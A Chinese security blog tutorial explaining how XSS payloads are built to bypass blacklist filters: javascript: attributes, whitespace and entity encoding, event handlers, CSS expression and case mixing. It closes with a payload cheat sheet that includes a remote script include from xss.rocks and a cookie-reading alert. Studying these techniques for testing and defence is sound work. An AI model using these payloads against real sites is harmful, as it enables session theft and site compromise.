最新消息:

XSS构造深度剖析及实例讲解

WEB安全 国光 2338浏览 0评论

XSS攻击的可行性

通常情况下为了防御跨站脚本攻击,会在web应用中设计一个脚本过滤器,专业术语叫做:XSS Filter,用于拦截XSS攻击。XSS Filter一般是基于黑名单的过滤策略,这样把用户的输入数据和黑名单进行校验。如果相同则进行拦截或者编码等处理,黑名单的效率是底下的,因此要想完全防御XSS攻击是很困难的,开发者必须得考虑到各种可以触发XSS的情况,因此实现起来相当复杂,这也就造成在如今安全环境的大背景下,XSS攻击的可行性。

下面从“攻”的角度去探讨、展示一些绕过XSS Filter试用例。

(1)利用<>标记注射HTML、JavaScript

如果用户可引入<>等标记,那么他就可以操作一个HTML 标签,然后通过<script>标签就能任意插入JavaScript编写的恶意脚本代码。

<script>alert(/XSS/)</script>

当然这种是最理想的情况了,只要XSS Filter过滤“<>”或“<script>” 等字符,这样的话,这种形式的XSS将不复存在

1-1

所以要想XSS学的好,那么就得多学习几种绕过姿势了。

(2)利用HTML标签属性执行XSS

假设用户不能构造自己的 HTML标记,但是用户还可以使用其他形式来执行XSS,例如HTML的标签的属性值。很多HTML标记中的属性都支持JavaScript:[code] 伪协议,这类特殊的协议由JavaScript的解释器运行,所以用户可以利用部分HTML标记的属性进行XSS。如下面的代码:

<img src = "javascript:alert(/XSS1/);">

<table background = "javascript:alert(/XSS2/)"></table>

2

3

上面2张图分别是利用了IMG标记的src属性和TABLE的background属性的截图。细心的读者已经注意到这里我们换了个浏览器,为什么这里突然换了xp下的IE 浏览器呢?这是因为并不是所有的浏览器都支持JavaScript伪协议的,所以此类的XSS攻击具有一定的局限性,不过如今任有大量的用户在使用支持伪协议的浏览器,当然并不是所有标记的属性都能产生XSS,通常只有引用文件的属性才能触发跨站脚本。

(3)空格回车Tab

如果XSS Filter仅仅把敏感的字符列入黑名单处理,如对敏感的JavaScript而言,用户可以利用空格、回车和Tab键绕过限制:

<img src="java script:alert(/XSS/)" width = 100>

4

这里javas 和script之间不是空格,是一个【Tab键】,这样在IE6下可以顺利弹出对话框。

使用关键字拆分的技巧不局限于【Tab键】,还可以使用【回车】【空格】之类的其他键位。为什么会出现这种状况?原因很复杂。JavaScript语句通常以分号结尾,如果JavaScript引擎确定一个语句是完整的,而这一行的结尾有换行符,那么就可以省略分号:

var a = true;
var b = "this is also true"

如果一行中有多个语句,那么每个语句就必须使用分号来结束:

var a = true;var b = "this is also true";

除了在引号中分隔单词或强制结束语句之外,额外的空白无论以何种方式添加都无所谓,举个列子:

var a
= 'hello xss';
alert(a);

这里虽然有换行符,但是变量的赋值是完全成功的。

JavaScript引擎没有把换行符解释为语句的结束,因为到了换行符并不是一个完整的语句,JavaScript会继续往下处理内容,直至遇到一个分号或发现语句完整为止。

根据这个特点,用户可以构造下面的代码形式来绕过过滤:

<img src = "javas
cript:
alert(/XSS/)" width = "100">

5

(4)对标签的属性值转码

对于普通HTML 标记的属性进行过滤,用户还可以通过编码处理来绕过,因为HTML中属性本身支持ASCII码形式。根据HTML的属性值支持ASCII码的特性,把XSS代码:

<img src = "javascript:alert(/XSS/);">

替换成

<img src = "javascrip&#116&#58alert(/XSS/);">
Bin(二进制)
Oct(八进制)
Dec(十进制)
Hex(十六进制)
缩写/字符
解释
01110100
164
116
74
t
小写字母t
00111010
72
58
3A
:
冒号

对应ASCII码表可以看出:t的ASCII码值为116,用 &#116 表示;同理 : 用 &#58 表示。

6

还可以把&#01、&#02 等字符插入到JavaScript的头部:

7

另外结合上一个绕过方式,【Tab】的ASCII码 &#9、【换行符】的&#10、【回车】的&#13 可以插入到代码中任意地方。再结合这2个特点可以构造出如下的代码:

<img src = "&#01;java	scr
ipt:alert(/XSS/)">

其中&#01; 可以写成 &#1; 效果是一样的。&#09 就是【Tab】键,可以插到代码中的任意地方, &#10 就是【换行符】。 所以为了防范利用这个特点的XSS,过滤&#等字符也是个不错的选择。

(5)产生自己的事件

现在假设用户不能依靠属性值进行跨站,那还有没有其他方法?答案是肯定的,事件就是其中一种方法。

我们知道,JavaScript与HTML之间的交互是通过事件来实现的,事件就是用户或浏览器自身执行的某种动作,比如 click、mouseover、load等,而响应事件的函数叫做事件处理函数。

<input type = "button" value = "click me" onclick = "alert(/XSS/)" />

这是一个HTML代码中的事件处理函数,当运行这段代码,单击 【click me】 按钮后,会触发onclick 事件,然后 就执行了 onclick 事件中的JavaScript代码,如下图:

8

因为事件可以让JavaScript执行,所以也可以用来执行跨站脚本,如:

<img src = "#" onerror = alert(/XSS/)>

效果如下:

9

顺利执行了,这里简单说明一下:onerror 是IMG标记的一个事件,只要页面发生错误,该事件立即激活,在这个事例中,浏览器解释IMG标记的时候,会加载src属性引用的图片地址,如果这个图片不存在的话 便会触发onerror事件。因为这里 src = “#”,这里是不存在图片的,所以XSS被执行。

(6)利用CSS跨站解析

XSS跨站脚本的另一个载体是CSS样式表,使用CSS样式表执行JavaScript具有隐蔽、灵活多变等特点,但是有一个很大的缺点是:各浏览器之间不能通用,甚至同一浏览器的不同版本之间都不能通用。使用CSS直接执行JavaScript代码的事例如下:

<div style="background-image: url(javascript:alert('XSS'))">

IE5及其以后版本支持在CSS 中使用expression,使用expression同样可以触发XSS漏洞:

<img src="g" style = "xss:expression(alert('XSS'));">

10

以上事例是使用CSS中的expression执行JavaScript代码,expression是用来把CSS属性和JavaScript表达式关联起来。如果CSS属性后面为一段JavaScript表达式,赋值等于JavaScript表达式计算的结果。

(7)扰乱过滤规则

利用前面叙述的各种技巧,包括HTML标签属性值、事件、CSS、编码技术等,用户能顺利绕过XSS Filter 的重重过滤。

程序员在各种被插后开始汲取各种经验,在开发过程中可能已经考虑到各种触发XSS的情况,让系统变得更加牢固安全。但是渗透者的手段是多种多样的,看下面的一些事例:

一个正常的XSS输入:

<img src = "javascript:alert(1);">

转换大小写后的XSS:

<IMG SRC = "javascript:alert(1);">

大小写混合的XSS:

<ImG SRc = "jAVasCRIpT:AlerT(1);">

不用双引号,而是使用单引号的XSS:

<img src = 'javascript:alert(1);'>

不适用引号的XSS:

<img src = javascript:alert(1);>

很有趣吧,以上任何一种事例都可能绕过XSSFIlter,我们再看看其他XSS技巧:

<img/src = "javascript:alert('XSS');">

这里IMG标记和src属性之间没有空格,而是用 / 隔开的,这段代码在IE6中 可以成功执行:

11

样式表中的/**/会被浏览器忽略,因此可以运用/**/来注释字符,通过插入混淆字符绕过过滤,如:

12

目前绝大多数的过滤系统都是采用黑名单的过滤,用户可以结合使用注释字符干扰来欺骗过滤器。

除/**/外,样式标签中的 \ 和结束符 \0 也是被浏览器忽略的,如:

@\0im\port'\0ja\vasc\ript:alert("XSS")';

还可以将CSS中的关键字进行转码处理,如将e转换为\65,包括改变编码中0的数量。

<p style = "xss:\65xpression(alert(/XSS/))">
<p style = "xss:\065xpression(alert(/XSS/))">
<p style = "xss:\0065xpression(alert(/XSS/))">

实际上 上面介绍的XSS只是冰山一角,由于web浏览器种类3,版本不同,各自的HTML、CSS、JavaScript等引擎也存在着各式各样的差异,再加上各个站点采用了不同的XSS检测和防范策略,XSS的构造可谓包罗万象,五花八门。

由此可见,不管XSS Filter设计得多严密,都有可能被黑客绕过的可能,而作为防御端总是被动的,如何才能确保web系统不受XSS攻击一直是一个值得探讨的问题。

在XSS测试中我们经常需要尝试各种XSS输入,以绕过过滤,这时候如果有一份待测试的XSS语句列表会方便许多。下面分享一份常见的XSS攻击脚本列表,用来方便我们的检测:

XSS 备忘

符号过滤测试

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}

XSS 远程引入

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

基于 polyglot 绕过过滤机制

'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script>
<script>alert(document.cookie)</script>">
<img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'">
<img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg">

基于 JavaScript 指令的图片 XSS 

<IMG SRC="javascript:alert('XSS');">

省略结束符及引号

<IMG SRC=javascript:alert('XSS')>

 大小写混杂 XSS 攻击向量

<IMG SRC=JaVaScRiPt:alert('XSS')>

基于 HTML 实体

<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

畸形 IMG 标签绕过

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

fromCharCode 函数绕过

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

利用回调函数

<IMG SRC=# onmouseover="alert('xxs')">

更多XSS 构造语句就不一一列举了, 感兴趣的朋友可以 google: XSS Cheat Sheet。

转载请注明:即刻安全 » XSS构造深度剖析及实例讲解

您必须 登录 才能发表评论!



合作伙伴